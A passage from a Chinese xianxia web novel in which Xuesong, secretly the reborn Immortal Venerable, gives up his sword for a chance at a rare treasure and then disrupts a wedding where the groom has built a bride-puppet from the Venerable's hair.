因此,他看在雪松仿佛与他同病相怜的份上,态度缓和了一些,只是面上不肯轻易让步,也并没有改变主意,看见雪松的配剑,想要劝他放弃自己的珍珠泪,又不想显得太弱势,好像可以轻易被打动似的,仍皱着眉问:“你的剑很不错,若你真想要我的东西,我要你先把这把剑给我,你愿意吗?”
他这么问是想,一般带剑的修士都十分看重自己的剑,想必不会同意把随身携带的唯一一把剑送给别人。
更何况,还是送给收了他东西,也未必还他一件东西的人,如此一来,雪松应该能感同身受吧?他等着雪松拒绝。
雪松在他的注视下握着手里的剑,垂眼看了一瞬,把剑连鞘都拿出来,向他递了过去,面不改色,只是张了张口,才说:“给你。”
这毫无疑问是愿意的意思,但这大大出乎了青青道人的意料,青青道人愣了一下,见他没有反悔的样子,感觉自己被架起来了。
如果收下,就是夺人所好,自己之后要是不给东西,多少有点强抢的感觉,名声上不太好,可如果不收下,刚才说的话就白说了,好像专为了骗人似的,也不太好。
收下还是不收下呢?
青青道人犹豫了一下,伸手把雪松的剑拿走了,他并不是真的要这个东西,这对他来说也没什么大用,他常年待在幽冥河畔,既不爱练剑,也没有什么舞刀弄剑的地方,他只是暂时收起来,想看看雪松冲他要东西的决心究竟有多少,但又忍不住好奇,雪松是不是真的就这样要把这东西给他。
因此,他拿着雪松的剑看了看,似笑非笑问:“你真的给我?不会要回去?不会觉得亏了?”
雪松垂着眼睛,不去看那把剑,点了点头:“给你,不会要回去,不会觉得亏,只要你能把珍珠泪给我。”
毕竟如果得不到珍珠泪,他不过是一个死人,一个死人,没有必要那么在乎一把剑,就算他之后还可以更换身体,不是一定要死亡,太在乎这把剑,也容易种人一种他要和这把剑生死不离的错觉。
他担心让人知道了以后,知道的人又以为他在乎这把剑,是因为这剑是仙尊送的东西,其实是在乎仙尊,在他真的死了之后,非要把这把剑和他放在一起,害得他不能循环利用,拿回自己的东西,那可就太亏了。
更何况,他感觉得出来,青青道人没有特别想要这个东西,说不定他还有拿回来的机会,现在还不用急着伤心。
最重要的是,这剑虽然好,但系统那里其实还有很多,只是他没买或者没抽到,真想要,再找一把一模一样的,也还算容易,所以他也没必要,抓着这一把不放。
他现在在乎这一把,不过是待的时间有些长了,直接送出去,稍稍有些不舍,过一段时间,自然也就好了,没有什么大不了的。
青青道人见他不肯看自己手里的剑,就知道他肯定还是在乎这把剑的,心中原本因为他冒冒失失上来就问自己要珍珠泪而感到的怒气逐渐消失,叹了一口气,突然莫名有种自己在欺负老实孩子的错觉。
青青道人垂下眼去,把目光落在手里的剑上,仔仔细细打量了一番,突然顿住,拿起这把剑,猛然一惊,喃喃道:“仙尊的印记?不会有错!这就是!这是……这是仙尊的东西?仙尊的遗物?”
他猛然间倒吸一口凉气,手抖了一下,有种自己今天早上其实根本没有醒过来的错觉,瞪大了眼睛,缓缓抬起头来,紧紧盯着雪松,站起身向他靠近问:“你从哪儿得来的?!”
雪松看他这副样子,眨了眨眼睛回答:“这是……仙尊留给我的。”自己留给自己的,一点不算有错。
“仙尊的东西不是都在宗门吗?怎么会给你?宗门转交给你的?不可能!他们根本不会做这种事!从来没有听说过!你骗我?!”青青道人瞪大了眼睛摇了摇头,不肯相信他的话,毫不犹豫反驳说。
雪松也理解他不能接受,心情十分平静回答:“这是仙尊委托了人保存,又在从前转告我,记得地址,有空去取,我才拿到的。”
事情就是这么个事情,信不信,随便你,反正你问了,我说了,你非要说我骗你,我也没办法。
雪松就用那种破罐子破摔的目光注视着青青道人,青青道人平静下来,握着那把剑,开始走来走去,喃喃自语:“居然有这么一回事?我真是太封闭了!一点都没听说过……”
他走得更远了一些,声音也更低了:“如果真有这么一回事,那些话就是真的,那这个东西,岂不是仙尊——”仙尊送给雪松的?
他猛然间顿住,想起来从前和自己的道侣讨论过剑修和剑的事,他的道侣说,对于剑修而言,浑身上下最重要的东西就是剑,假如收下某一个人送给他的剑,那多半可以当做定情信物了,因为他们不一定和某人相守一生,但也许有机会和他们的剑过一辈子。
所以在剑修的眼里,收下某人送的剑,通常还有一个意思,那就是,我愿意像爱这把剑一样爱你,也愿意像和这把剑待在一起一样,和你待在一起。
这和道侣誓言有什么区别?有什么区别?!
青青道人想通这一点,倒吸一口凉气,感觉自己的肺都通了,转过身去,仔仔细细打量雪松。
如果,剑是真的,那些话也是真的,人也真和仙尊有关,岂不是等于,这个人就是仙尊的道侣?毕竟,仙尊用剑是众所周知的事。
操!他们还是双向奔赴?这么情投意合?!
那雪松索要珍珠泪,就不见得一定是为了解毒,说不定也是为了借这东西,来试试究竟能不能复活已经死掉的魂飞魄散的仙尊。
青青道人走来走去,忍不住想,仙尊活着的时候那么强,说不定死了也有办法,从魂飞魄散的境地回来呢?万一就缺珍珠泪呢?
如果他把东西送出去,会不会也有机会复活自己的道侣?这种事固然希望渺茫,但是,万一呢?万一呢?《 》
75-80
第76章
青青道人倒吸一口凉气, 转过头来看着雪松,如同看着一颗足以打开宝库之门的闪闪发光的珍珠,眼神中不自觉流露出一丝贪婪。
但他很快回过神来, 意识到自己情绪不太对, 立刻收敛了,垂着眼睛侧过身去, 找到自己的凳子, 重新坐下,想了想问:“你果然要我的东西?”
雪松点了点头回答:“是的, 我要。”
青青道人想了想,虽然不知道猜测出来的东西是不是真的, 但可以试探一二, 更何况, 就算他打算把东西给出去, 也没必要刚拒绝就改主意,显得反复无常, 还不太认真, 好像耍人似的,既不容易被信任,也不容易,得到重视。
他倒不是一定想要雪松的重视,他只是不希望自己如果真的把东西给出去,而雪松拿了就走, 只是在别人面前作为谈资,而不是真的要用,或者,觉得这个东西对他并不算重要, 不过是可以随手给出去的玩意儿罢了,一不小心弄丢也觉得无所谓。
那种糟糕的事情,只要稍微想一想,他就觉得要命,完全不能接受,也根本不希望看见或者听见任何相关的消息。
所以他要在事情开始之前尽力避免那种可能性,他非要考验考验雪松不可,不管是关于雪松的身份,还是关于雪松的性情。
“那你先替我做一件事,”青青道人把雪松看了看,脸上仍然残留着对于可以预想到的糟糕情况而导致的怀疑和不悦,皱着眉头,好像对人有什么意见似的说,“如果你办得不错,把东西给你的事情,我可以考虑。”
雪松本来听见一点机会都没有,都要走了,现在看对面改变主意,即使不喜出望外,也觉得高兴,立刻点头,答应下来:“那好,你说什么事。”
青青道人低下头去,掏出一份请柬递给他:“这是黄昏道人的结婚请柬,虽然没什么大用,也没什么可值得高兴的,但是,他会在婚宴上出席,你替我去问他要观音竹条吧。
我要用那东西来编一个竹篮,因为据说,观音竹条是观音菩萨遗漏的宝物,用那种竹条编出来的竹篮,无论装什么都不会洒漏,灵魂也一样。
我想用竹篮试试能不能捞到一点,我的道侣的灵魂碎片,但他之前总是不肯给我,说没有用处。”
雪松接过请柬看了一眼,地点就在附近,时间是黄昏,点了点头:“我会去试一试的。”
“走吧!”青青道人背对着他挥了挥手,对这件事能够成功,其实不抱任何希望,因为他已经试过很多次,没有任何一次是成功的。
而之前黄昏道人还没有准备结婚,大多数时候心情平静,有时候甚至心情不错,那时候的成功率应该很高,可是,他每一次去都没有成功。
这足以证明,不管什么情况,黄昏道人都是不会松口给东西的,这一次大概也一样,毕竟这次可是在婚礼上!
大多数人应该都不会希望自己婚礼上突然出现一个人冲自己要东西,还是自己反复多次说过不给的东西吧?
青青道人完全可以想象,即使雪松什么都没有要到,黄昏道人在婚礼上,遇到这样的事也会觉得恼怒,恐怕雪松要倒霉。
但是没有办法,青青道人自己去是绝对拿不到的,从前的许多次经验完全可以证明这一点,他只有换一个人去,而恰好雪松来找他,雪松对他而言实在太合适了。
其实,从中毒开始,雪松就已经算倒霉了,中毒还只有几日可活,而且不得不找陌生人要非常珍贵的东西,更可以证明,雪松的倒霉不是一点半点。
那么这件事情加上去,也不过是让雪松稍微更倒霉一点罢了,如果雪松真想要东西,应该不会在乎这一点的。
如果不是真的想要,在受到挫折之后就会自己离开了,相当于黄昏道人替青青道人,保护了一次青青道人的珍珠泪,说不定到时候青青道人反而得感谢黄昏道人。
那时候,雪松再倒霉也和青青道人没有关系,因为他不在乎,他只会庆幸,自己没有受骗,也没有抱徒劳无功的不可得的希望,更不用把重要的珍珠泪交出去,算他运气好。
更何况,假如雪松真是抱着行骗的目的来要他的珍珠泪,雪松倒大霉出了事,他不幸灾乐祸,都算他善良了。该雪松感激才对。
青青道人长出一口气,闭着眼睛,思考了各种各样的可能性,狠狠摇了摇头,把那些想法甩出自己的脑子,觉得今天没有办法继续干任何事,除非雪松把结果带回来。
他站起身回了屋子,关上门入定去了。因为,只有这样才能稍稍平静。他顾不得别的了。
他追求多年的目标好像近在咫尺。他不知道怎么办。也许是假的。但他承受不起,也不想接受,他宁愿觉得是真的。
那么,希望雪松能把东西真的给他带回来。
他的思绪飘远了,在入定的失败和成功之间摇晃,不由自主咬着牙,像是咬着一截已死之人从坟墓里挖出来的骨头汲取力量,闭着眼睛喃喃道:“会好起来的……对吧?会吧!什么都不要想了……”
他终于勉强入了定,不再想那些事了。
房间里安静下来。
与此同时,拿着请柬的雪松赶到了目的地。
他面前是一个大庄子的门,门上已经用红艳艳的大花朵在两边装饰过了,但上下还是有红丝带,作为精致缠绕的花边,把牌子装饰了起来。
两个守门人站在门的两边,一边欢迎客人进入,一边检查他们手上的邀请函,据说,是为了避免婚礼上出现意外。
听起来好像他们知道这天要发生什么似的,但只要两个人守在门口,又好像不是很在乎,也不知道是不是真的,那么关心即将要发生的事。
雪松拿着邀请函走了上去,前面的客人跨过门槛,就轮到他了,他把手里的邀请函递了过去,一个守门人伸手接了,检查之后,用一个圆圆的印章在上面盖了一下,留下了若隐若现的微微发着光的金灿灿的印子,上面写着感谢参加婚礼,还有已检查和已入场。
雪松收回邀请函看了一眼,两个守门人就伸着手请他进去了,他跨过门槛,把邀请函揣进兜里,走进去之后,开始寻找这场婚礼的主人。
但他走到这里才突然想起来,他既不认识黄昏道人,也不曾见过这么一个人,那他要怎么才能从一群陌生人里面,找到要找的人?
雪松犹豫了一下,边上立刻有一个看起来像是侍从的人,走了过来向他问:“您好,请问有什么需要?我能帮上什么忙吗?”
雪松向他问:“你知道这里的主人在哪儿吗?我是说黄昏道人。这里应该是他举办婚礼的地方吧?”
那人愣了一下,随后点了点头笑道:“是的,这里是黄昏道人举办婚礼的地方,他现在应该正在更衣间,您要见他?”
雪松犹豫着问:“现在可以去见他吗?”如果是正在换衣服,想要见面应该不太方便,他也不是不能等对方换完出来之后再找。
“现在恐怕不太行,”那人果然摇了摇头,“不过再等一会儿就好了,他过会儿就要出来,和他选好的道侣一起,给大家敬酒,还要说祝福词的,到时候会上台,客人有什么话可以等他下来再说,他应该有一点时间。”
雪松将信将疑点了点头,他没干过这个,并不了解流程,但听见这么说,也没有闹的理由,找了个位置坐了下来:“谢谢!”
那个人看他没有什么要问的了,点了点头就走了。
雪松等了一会儿,一个人坐在了旁边,他往旁边一看,并不认识这个人,就问:“你也是来参加婚礼的?”
那个人点了点头,自顾自给自己倒了一杯酒,喝了一口,吸了吸鼻子,眯了眯眼睛,脸上露出一种感慨的表情,端起酒杯,慢悠悠回答:“是啊,不然还能来这里干什么?”
他笑了笑问:“难道是来砸场子的?”
说者无心,听者有意,雪松心中一惊,险些以为对方知道自己的目的,不过转念一想,这只是一个陌生人,路上也没见过,平白无故的,他也没说过,这人怎么可能知道他是来干什么的?
思及至此,雪松面上倒是不动声色笑了起来,给自己倒了一杯荞麦茶,开玩笑似的,模棱两可道:“这也说不准。”
旁边的人哈哈笑了起来,又喝了一杯酒,也幸好,那酒杯只有手指那么大,多加一根手指,都差一点,想来不容易喝醉。
雪松向他问:“那你认识婚礼的主人?”
那人顿了顿,神色有些微妙,缓缓笑道:“是啊,认识,怎么了?你不认识?那怎么来的?我还不知道不认识也可以来呢!”
雪松挑了挑眉,觉得他身份可疑:“随便问问。”
他歪了一下头,也觉得雪松出现在这里有些古怪,想了想,自己并不认识这样的人,就笑着问:“我看你有些眼熟,似乎在哪里见过,但又想不起来,你是黄昏道人的什么人?”
毕竟,他刚刚才听雪松提起黄昏道人,似乎是认识,也就这么问了。
“我不是他的什么人,”雪松想了想,含糊摇头道,“我是来找他要一件东西的。”
对面挑了挑眉,来了一点兴趣,想了一想,却又不知道他要什么,好奇问:“那你要什么呢?”
雪松察觉这人似乎和黄昏道人有些关系,想要试探试探他,不知道他帮不帮得上忙,就回答:“观音竹条。”
“这个东西……”对面的人若有所思,看了他一眼,像是忽然恍然大悟,又仍然对他的身份感到疑惑:“他确实有……”
“他确实有?”这个雪松知道,但不知道他为什么说一半不提了,难道有什么难言之隐?还是人已经出来了?
雪松往周围张望了一下,没看见有什么人,刚从屋子里出来的样子,也没感觉人群中有谁,忽然就变得有些像黄昏道人,突然有点怀疑坐在旁边的人就是他要找的人,眯了眯眼睛,若有所思,收回目光问:“你知道什么?”
“我能知道什么?”他打着哈哈站起来,马上就想走,看起来完全就是一副我知道秘密,快来问我的样子。
雪松一把拉住他:“要去哪儿?我送你?你刚刚喝了酒,看起来可不太清醒啊……”你要是清醒,就把话说清楚,你要是不清醒,那我倒要看看你要去哪。
“这就不用了吧?”他一边说,一边推脱,试图把雪松掰开,但是雪松没松手,只是似笑非笑看着他,他试了一会儿,放弃了。
“要不这样吧,”他好像忽然想到了办法,笑了起来,“现在距离天黑还有些时间,这里人太多了,等会儿又有事,我不好跟你说,午夜十二点,你到后花园假山去等我,要问什么,我都告诉你,怎么样?”
雪松将信将疑,勉强松开手,注视着他说:“那好,到时候我可以去,但有一件,这里人这么多,我是要悄无声息的过去,还是光明正大的过去?你怎么保证我不被别人拦住,又怎么保证你一定会去?”
“这……”他皱了皱眉:“当然是悄无声息!闹大了像什么样?你要是带人去,我就不去了!至于我,我有空一定会去的!”
他说着就要走,又被抓住,雪松一脸礼貌微笑看着他说:“我可不相信你的口头保证,至少给个信物吧?”
雪松把另外一只手对他伸出,像只打量树洞里还有没有松果的松鼠一样,看着他,摊开手说:“给一个能够证明你的身份,而且你一定不舍得轻易放弃的东西作为信物吧?
到时候,问完了我就还给你。横竖大家都在这,真要是昧了你的东西,你只需要喊一嗓子,我也出不去。”
对面皱着眉头想了想,十分勉勉强强从腰上卸下了一块青龙玉佩递给他,依依不舍,哼哼唧唧,目光一直黏在那块玉佩上,却还慢吞吞把手伸给他,叹着气好像要和自己家养的猫生离死别似的说:“那这个给你,谁都知道是我的,若是有人拦住你,不许你去,你把这东西给他看一看,他也知道你是我邀请的客人,也就不会拦着你了。”
雪松将信将疑,收起玉佩,看了一眼,点了点头,其实这个时候已经可以大概确认他的身份就是此前的主人黄昏道人了,但他毕竟没有直说,雪松也就装作不知道,只是把那块玉佩拿在手里,对他笑道:“那就多谢了。”
对面听了这话是一个半炸毛的姿态,像一只瞪着眼睛的猫一样,十分惊讶,问:“谢什么?好像你要吞了似的!你到时候千万记得还!你会还我的,对吧?”
雪松笑了笑:“当然会还你,不过不是现在。”
雪松说着,把东西完全收起来,推了他两把:“你不是要走吗?走吧!快去做你的事!我等着你有空,到时候去,给我解惑呢!”
青龙玉佩的主人一步三回头,满脸欲言又止的样子,走了。
雪松等了一会儿,婚礼就开始了,一对新人入场,一个看起来像是新娘,头上盖着一块布,容貌是完全看不见的。
另外一个是新郎,头上戴着个帽子,帽子垂下来一堆珠串帘子,把脸挡了个半,一身红彤彤的衣服,手里牵着一个红色长布条子。
那条子的另外一边是新娘牵着,条子中间是一朵大红花,往下微微坠着,是一种开到极其灿烂即将从枝头落下时候的样子,莫名有一点微妙的不吉利。
好歹是结婚这样的大事,居然没人在乎这一点微妙的不吉利,这可真是奇怪。不过,周围的人似乎都面色平静,并不意外。
现场气氛十分热闹,或许是不在乎,也或许是早就知道,他们一丁点的疑问也没有,有些人甚至鼓起掌来,一脸微笑,好像真心实意祝福的样子。
还有一些人因为酒是提前上的,早就喝了一壶又一壶,许多的酒下肚,都快把自己灌饱了,整个人显得有些水满,皮肉微微发肿,脸上红彤彤的,鼻子一抽一抽的,好像比来的时候壮了一圈,一按一个洞,一个坑好半天才恢复,已经有些醉了。
他们好像,喝醉了酒就有些神志不清了,开始坐在桌边,聊起天来,声音不大,但是人数不少,聚在一起,也就嗡嗡嗡的,好像一堆不会飞的蚊子,停在凳子上就开始叫。
雪松隐约听见某个距离比较近的醉汉,嘟嘟囔囔向身边的人说:“这也算是百年难得一见的奇观了……咱们、咱们今天见着了!哈哈哈……喝酒,喝酒!可得好好庆祝庆祝!”
雪松皱了皱眉,感觉自己听见了奇怪的话,什么叫百年难得一见?什么又叫奇观?结婚值得庆祝也就罢了,好好庆祝是要庆祝什么?他们庆祝的明显不是结婚!
虽然他觉得结婚也没什么值得庆祝的,但在别人的婚礼上不庆祝结婚,庆祝奇观,结婚的人居然没有意见吗?他是不知道还是默许?又或者,他知道了,装作不知道,懒得管?
看起来不像,虽然现在是黄昏,光线不好,他的脸被那一串垂下来的珠帘挡着,距离远了,根本看不清楚具体的样子,也看不出具体的表情,但是,那些珠帘毕竟没有挡完,再加上周围又有烛光,还是隐约能看见一点轮廓和线条。
雪松看他不像是什么都不想管的样子,唇角微微勾着,似乎在笑,那就是高兴了,虽然有一群人来为自己庆祝婚礼的事,是应该高兴,但以他的角度不应该听不见那些醉汉的嘟囔,听见那些话,他是怎么高兴得起来的?实在古怪。
难道他觉得事情正是如此,而且,对于自己的行为颇为自傲,所以听见别人说的这些话,才会高兴?就好像,是听见夸奖一样。
雪松默默,往今天晚上即将询问的问题中,增加了一个。除了问那个陌生人的身份是否是黄昏道人和黄昏道人是否能把观音柳条送出之外,还要问一问,这场婚礼究竟和其他的婚礼有什么不同。
这个时候,两个新人已经走到了台上,新郎说了两句客套话:“非常感谢大家今天能来到这里参加我的婚礼,我真的很高兴,其实今天的婚礼是我的毕生梦想,我本来以为,这个终身追求是一辈子不会实现的了,没想到,还有今天的机会,实在是我的荣幸,总之,大家吃好喝好,我就不多说什么了。”
他说完,往后退了两步,让开了位置,看向了旁边的主持人,主持人站在边上,大声说:“一拜天地!”
话音未落,雪松忽然感觉,台上有什么东西在牵扯他,就好像有人在上面扯他的头发丝一样,这时候的感觉还不太明显,他几乎要以为是错觉了,还没有动。
但是下一刻,台上的两个人,拜了天地,那种拉扯感被加重了,雪松简直是被一根麻绳扯着脖子,拉了个踉跄。
他搞不明白怎么回事,甚至一时间没有坐稳,差点从凳子上摔下来,不得不站起身,用一只手扶住了旁边的桌子。
因为没控制好力道,毕竟这也不是在他意料之中的事,手掌接触桌面的时候发出啪的一声响,好像是在打一只非常大的可恶的毒蚊子一样。
周围人的注意力都被吸引了过来,哪怕这里非常热闹,刚才那样的声音也不算小了,更何况,台上的新人正在拜堂,他突然站起身来,还发出这样大的响声,但凡听得见,都得转过头来看看他搞什么。
万一是抢婚呢?那可就有意思了!谁能忍住不看呢?虽然一般抢婚都是在婚礼开始之前,但谁知道有没有意外?更何况,抢婚的事情可少见了!来都来了,哪有不看的道理?横竖又不费什么。
如此一来,哪怕是距离远的人,没有听见声音,被周围的人的动作吸引,也不由得转头看了过来,除了台上的新人,连主持人也转过头,忍不住露出了惊讶疑惑的脸色,像是完全不明白为什么会有人闹事。
事实上,雪松也没有主观要闹事的念头,他是来拿东西的,闹事能有什么作用?又不会让对方把东西给他,又不会让事情更顺利。
别说他有求于人,就算是闲到发慌,他也不至于在这里闹什么,问题在于,这可由不得他,因为他根本不是自己想要站起来的。
他站在原地犹豫了一下,不知道是直接坐下去好,还是把事情说出来好。
如果直接坐下,可以假装什么都没有发生过,台上的新人看在要继续婚礼的份上,应该也不至于现在和他计较什么,可以蒙混过关,但等会儿如果接着出现了牵扯,那就不好说明了。
如果把事情说出来,虽然很有找麻烦的时候突然怂了,开始自己给自己翻借口的嫌疑,但他说的是真话,不是不可以验证,就算有人质疑,也没什么不能解释的,只是要耽误婚礼上的时间,恐怕还会喧宾夺主,对婚礼不太好。
但事已至此,不管选哪一种,都肯定会对婚礼造成影响,而且会让举行婚礼的人,觉得不舒服。
当面解释容易把人架起来,好像不原谅就不大度,私底下解释,又容易让人情绪发酵,越想越生气,好像不发疯,就白吃了亏……
雪松犹豫着站在那里,一时没有讲出话来,台上的主持人不由得转头看向了结婚的当事人,也就是现在还站在台上的黄昏道人。
黄昏道人不知雪松搞什么名堂,皱着眉头看了他一眼,但是没有说什么,只是似乎对主持人,示意了一下继续。
主持人明白了他的意思,点了点头,清了清嗓子,重新大声喊道:“二拜高堂!”
这两位结婚的当事人似乎都没有高堂,所以只是象征性的,对着台子前面空空的桌椅拜了拜,也就算成了。
偏偏就在这个时候,雪松感受到一股强烈的拉扯,这使他不得不连忙往前走了两三步,这才勉强稳住身形,但即使如此,他整个人也几乎要被拖到台上去。
与此同时,本来平静的天空也聚集起了乌云,一阵一阵的电闪雷鸣,噩梦即将来临一般的征兆,完全不像是有什么好事正在发生。
这很诡异,雪松就算是这时候想当做什么事情都没有发生,也不可能了,因为这场婚礼摆明了跟他有关系,他要是真的不管不顾,鬼知道会发生什么!
虽然他根本不知道,今天才得到结婚请柬的婚礼能跟他有什么关系,但既然人已经在这里,还三番四次被提醒,他不得不追究了!
周围的人面面相觑,这个时候也看出他身不由己,并不是故意要闹事,都有些惊讶,又抬头看了看陡然变化的黑白闪烁的天色,窃窃私语起来。
“听说结婚的时候天气忽然变化是不好的征兆,难道是结婚当事人和观众犯冲不成?从前参加婚礼也没见这样的情况啊?!”
“是啊是啊,不说天色的问题,我隐约记得,有一条关于天道的事,就是说,如果有人结婚的时候,台下观众被迫有所反应,多半是被天道提醒,这场婚礼和他自己有关,而他自己还不知道,你说这会不会是?”
“不会吧,这么刺激吗?台上的人是台下观众的结婚对象还是未婚契约对象还是什么没来得及约定什么但是私定了终身的恋人?”
“嚯嚯嚯,有好戏看了,嚯嚯嚯!”
众人的目光聚集在雪松身上,定金把他看了看,又往台上看去,两个新人和主持人仍然站在那里,主持人大惊失色,望向了两个新人,似乎在寻找解释,又似乎在寻求办法,当然,也有可能只是单纯作为一个来打工的,问一下出钱的老板的意思。
看来主持人知道的不多?
雪松挑了挑眉,三步并作两步上了台去,站在了两个新人面前,这两个人都沉默不语,新娘盖着盖头,不知什么情况,只是直勾勾站在那里。
站得有些太笔直了,好像什么事情都没发生一样,虽然盖着盖头可能看不见什么,但从周围的气氛不可能感觉不出什么。
可是即使如此,这个时候还这样镇定,要么是真问心无愧,要么就是无动于衷,那究竟是真爱还是不爱?
又或者是第三种可能,既不是真爱,也不是不爱,只是什么都不知道,一个被人控制的傀儡?
至于新郎,他站在新娘旁边,也一动不动的,不过他的脸毕竟没有被完全遮住,眼神从珠帘的缝隙里透了出来。
雪松可以看到他冷着脸,直勾勾盯着自己,微微皱着眉头,一副严肃愤怒中又夹杂着不满和不耐烦的表情,大约此时已经后悔,让雪松待在这里,但又不好现在把人赶走。
毕竟,刚才的意象和头顶的天色都摆明了,他今天的婚和雪松有关系,如果他把人直接赶出去,那不就是明摆着对现场的观众说,他做贼心虚吗?!
他可不愿意担这种名声!毕竟这也不是什么好听的东西。更何况,他也想知道,究竟是怎么回事。
没有人比他更清楚他的结婚对象,究竟是什么人,按理说不会发生这种事才对,可这种事就是确确实实发生了。
如果不能搞清楚究竟怎么回事,恐怕他今天晚上根本就睡不着,那就算现在把人赶走之后还得把人叫回来,还不如现在问清楚。
他正要开口,雪松却不想回答他,毕竟雪松也不知道究竟怎么回事,雪松现在还没见过他结婚对象的脸,要是知道已经发生了什么,那是不可能的。
所以雪松非得看一眼,他结婚对象究竟是谁才行,但在别人的结婚仪式上,先新郎一步去掀新娘的盖头,这种事情毕竟不太礼貌,雪松直觉,如果问他,他是不会答应的,那就只能先斩后奏了。
所以雪松抢在黄昏道人开口之前,一步窜了过去,绕开了他,站在了他的结婚对象面前,伸出手去,一下子掀开了对方的盖头。
黄昏道人愣了一下,猛然一惊,第一反应居然不是拉住雪松或者勃然大怒,而是惊慌失措中,用最快的速度扑过去,试图抢过雪松手里扯下来的盖头,给新娘盖回去。
主持人站在旁边,倒吸一口凉气,像是被变成石头一样,完全呆住了,一动也不动的,不知如何是好。
雪松把盖头揉成一团,好像揉一张废纸一样,猛然间丢了出去,那红艳艳镶着金边的大方盖头,就那么像一颗皱巴巴的,刚从坛子里捞出来的酸菜一样,在半空中划了个抛物线,远远飞了出去。
黄昏道人也呆住了,像是因为事情发生得太过猝不及防,以至于他完全始料未及,根本没有准备应对方案。
雪松转过头来看向他,用一种愤怒中带着感到分外荒谬的语气,冷笑着问:“你怎么敢?!”
对面没有回答,雪松闭了闭眼睛,用更大的声音,咬牙切齿问:“你这么做,经过允许了吗?!”
黄昏道人缓缓从那种震惊过度的状态里回过神来,慢慢转过头看着他,脸上残留着呆滞的神情,但已经压制不住潜藏的怒意和震惊,即使其中仍有一点心虚,声音微微颤抖,却不妨碍他向雪松发难:“我为什么不敢?我需要经过谁的允许?这事本来就和你没关系!你只不过是得到邀请,来参加婚礼的一个观众!你有什么资格质问我?你是谁?你好大的胆子!你以为你在干什么?!”
他说着说着,心虚逐渐像雨后天晴时的乌云一样散了,反而越来越愤怒,越来越认真,甚至越来越有底气,好像他做的根本一点错也没有,完全不需要担心什么,更不需要道歉。
雪松两只眼睛像带倒钩的毒刺一样,直勾勾盯着他,几乎忍不住要气得笑出来,指着自己的脸向他问:“你看着我,再说一遍?”
黄昏道人突然就像一只被打破了壳的鸡蛋一样,挪开目光,不敢看他,抿了抿唇,也不说话,只是站在那里,态度仍然很明显。
雪松深吸一口气,大声喊道:“你不能和他结婚!”
站在他旁边的黄昏道人的结婚对象还是呆呆的,一动不动,不管发生什么事情,都一点反应也没有,完全就是傀儡。
“凭什么?!”事已至此,黄昏道人仍然不肯放弃,一脸执着,皱着眉头,用更大的声音向他问。
雪松想说,就凭你用的是我的头发做的傀儡,但这傀儡显然是用仙尊的头发做的,而他现在不是仙尊。
第77章
雪松一时沉默。
现在的情况是, 他要么承认自己是仙尊,名正言顺管这件有人用仙尊的头发制作傀儡擅自结婚的事,要么承认自己是仙尊的道侣, 也可以名正言顺管这件事。
毕竟, 刚才天道众目睽睽之下示警,完全足以证实他的身份。
只不过, 如果他要选前者, 他这些日子以来隐瞒身份所做的一切都白费了,而且还会被人质疑, 为什么魂飞魄散了也能活过来,会引来一堆的麻烦, 还得解释究竟是怎么活过来的, 那很费事。
如果他要选后者, 按照之前别人的猜测, 和他身上这一堆原本属于仙尊的东西,证明身份轻而易举, 也不用多费口舌, 问题在于,这个身份恐怕也会给他引来很多的麻烦事。
但转念一想,别人猜测他有这个身份,也不是一天两天了,这个身份引来的麻烦,也不是一点半点, 他不承认,别人也会觉得他是,其实这没什么好纠结的。
只不过时至今日,他仍然不愿意, 被人认为,仙尊已有道侣,这实在很糟心,不管从哪个角度都糟。
他就不能是自己过了一辈子吗?
对方以为他这是改变主意要认错了,立刻大喊起来,洋洋得意如同占了上风,用一种几乎有点鄙视的目光看着他,毫不客气说:“你说不出什么了是不是?你也知道自己错了?现在认错滚出去,还来得及!
如果你不肯道歉,我也懒得和你计较,毕竟,今天是我的大婚,和你计较,有失身份,又失体面,浪费时间,容易错过吉时,我可没那么多时间同你浪费!”
雪松冷笑道:“道歉?做梦!”
事已至此,对方看来是不会轻易改变主意的了,他也不想多说什么,那完全是白费口舌,他开始召唤正在旁边的傀儡中的头发。
那头发本来就是他的,他要召唤回来,轻而易举,他根本不需要征得任何人同意,因为,那头发和别人一丁点关系都没有。
即使那头发现在在不属于他的傀儡里面,也不能怪他,毕竟,这傀儡,根本就不是经过他的允许而制作的,那又怎么能够添加他的头发进去呢?这太古怪,太诡异,太过分了!
要知道通常情况下,如果有人把另外一个人的头发未经允许塞进一个崭新的为自己量身定做的傀儡里面,这不是诅咒,就是变态,对于任何人而言,都可以,算是一种极大的冒犯了。
而现在这个事情,之所以现在还可以有这么多算得上平静的旁观者,完全是因为仙尊已经死了。
对于大多数而言,一个死了的人,有头发被人保存下来,虽然是值得惊讶的事情,但也不过如此。
也许是送的,也许是捡的,也许是偷的,即使是抢的,那也是以前的事了,算不得什么,横竖头发不是他们的,也不是他们拿的,和他们关系不大,用不着在乎。
更何况,大概没有人能够从仙尊的手里抢走仙尊的头发,也没有人听说过,到了仙尊那种修为,居然还有掉头发的事,更没有人听说过,仙尊曾经把自己的头发送给谁。
那么显而易见了,这头发很有可能是偷的,可能没有被仙尊发现,也可能仙尊睁一只眼闭一只眼,懒得同他计较,毕竟只是一根头发。
虽然可能被人用来诅咒,但再怎么了不得的诅咒,也不见得能够对仙尊有多么大的损伤,毕竟,那么高的修为摆在那里,没有什么可质疑的,也不是那么好轻易撼动的。
最重要的是,一个人未经允许,使用另外一个人的头发来制作傀儡,虽然完全称得上冒犯,但在大多数人的眼里,冒犯死人是不算冒犯的,诅咒死人是没有用处,所以,这件事情约等于不存在,至少,对于他们这些不相干的人是这样的。
那么,他们现在所表现出来的平静,也就完全是可以理解的事,既不是因为他们被控制,也不是因为他们对此毫无认知。
黄昏道人见雪松动手,一时还不知他要做什么,严阵以待,往后退了半步,两腿叉开着站在那里,有一点像是扎马步的姿势。
毕竟,事情闹成这个样子,黄昏道人以为雪松是要对他发起攻击,也不算离谱,但他定睛一看,雪松已经把事情办完了。
一根头发如同游鱼归海一般,眨眼间从傀儡的身体里飞了出来,紧接着,羁鸟归林一般,落在了雪松往前伸出的手掌心上。
下一秒,傀儡就像是一个被推倒了的积木一样,散架了,浑身上下的每一块连接处,都松了。
有些人几乎能听见那傀儡身体里发出的稀里哗啦的声音,这代表这个傀儡现在已经不能正常使用了。
所有人都能清楚看见,那个傀儡倒在地上之后,很快就变成一块一块的碎片,衣服倒是还完好无损,但也只有衣服鞋子还在那里,没有受到任何损伤。
其他部分,根本看不出原来和仙尊完全一致的模样,就那么乱乱一团,堆在衣服鞋子里面,像一个奇怪的恶作剧。
